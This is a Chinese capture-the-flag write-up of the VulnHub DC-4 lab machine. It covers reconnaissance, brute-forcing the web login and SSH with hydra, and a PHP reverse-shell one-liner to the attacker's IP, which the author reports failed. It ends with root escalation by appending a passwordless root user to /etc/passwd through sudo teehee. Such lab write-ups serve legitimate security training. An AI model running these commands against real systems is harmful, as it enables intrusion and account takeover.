VulnHub 靶机学习No.5 DC-4
靶机运行说明
- 靶机难度:初级至中级
- 攻击机:kali linux,ip地址:192.168.56.102
- 靶机:DC-4,IP地址:192.168.56.109
- 目标:找到终极flag
信息收集
只开启 kali 和 DC-4,使用nmap扫描kali所在的C段,得知 DC-4 的ip为192.168.56.109
进行全端口扫描,发现22端口开启ssh服务,80端口开启http服务
利用 whatweb 看看web服务有哪些特征
whatweb http://192.168.56.109
没发现什么有价值的东西
访问一波,直接是一个后台登录页面
dirb,跑一波目录
只有默认页面(也就是刚才提到的后台登录页面)
dirsearch 跑一哈
python3 dirsearch.py -u "http://192.168.56.109" -e php -w "dics_cn/ext/directory-list-2.3-small.txt"
然而并没有扫出太有价值的东西
加大字典,再跑一跑
python3 dirsearch.py -u "http://192.168.56.109" -e php -w "dics_cn/ext/directory-list-2.3-medium.txt"
结果一样
之后在登录页尝试万能密码,无用。查看源代码,无有用信息,sqlmap跑了一下,没有sql注入。瞬间犯难。只能尝试爆破了:
(我的kali没有安装破解版burp,所以这里用本机的burpsuite来进行爆破操作)
密码字典使用rockyou.txt,用户字典就设置简单点:admin、master、system、webmaster。出乎意料的是,很快就跑出了一对用户名/密码:admin/happy
命令执行尝试弹shell(但失败)
成功登录之后,发现可以选择执行3条命令。尝试抓包更改命令,发现修改之后同样可以执行
尝试反弹shell
kali监听4444端口
nc -lvvp 4444
然而,并没能成功弹shell。怀疑会不会是&以及> 造成了干扰?echo打包,bash执行试试
然而,没能成功弹shell。由于本身网站就是使用php来写的,所以肯定是安装了php的,那么能否利用php来弹shell呢?参考文章:https://xz.aliyun.com/t/5768
php -r '$sock=fsockopen("192.168.56.102",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
依然没能反弹成功,绝望.jpg
命令执行这条路我是走不通了,如果有大佬通过命令执行弹shell成功了,或者知道这条路走不通的原因,欢迎赐教。
峰回路转
发现3个uid大于1000的用户
在他们家翻箱倒柜,终于找到了点好东西
右边输出的old-passwords就是我们爆破的好字典啊(22端口开着,进行ssh爆破)
hydra -l jim -P old_password.txt 192.168.56.109 ssh -t 8
爆破成功,密码为:jibril04
成功利用ssh登录jim的账号
提权
LinEnum.sh 来一波?
具体过程之前几个靶场写过遍了。再描述一遍,加深印象
- kali 存放脚本的目录处,开终端,利用python起http服务
- 与靶机交互的终端,切换到靶机的/tmp,下载脚本,加执行权限,执行输出
居然提示我有一封新的邮件,这是官方提示啊,必须看看。charles给出了自己的密码:
su 一下,su 一下
这时候执行LinEnum.sh
输出结果给了我们提权方法
teehee命令可以写入文件内容并不覆盖文件原有内容
使用teehee命令将一个无密码用户miao写入到/etc/passwd文件,并加入到root组中
echo "miao::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su miao
成功拥有root权限,去/root目录下查看flag即可
知识点总结
- 命令执行反弹shell
- ssh爆破
- 信息收集,不断信息收集
- 利用teehee提权(本质还是sudo设置的问题)
参考链接:
https://xz.aliyun.com/t/5768
https://blog.csdn.net/weixin_43583637/article/details/101556645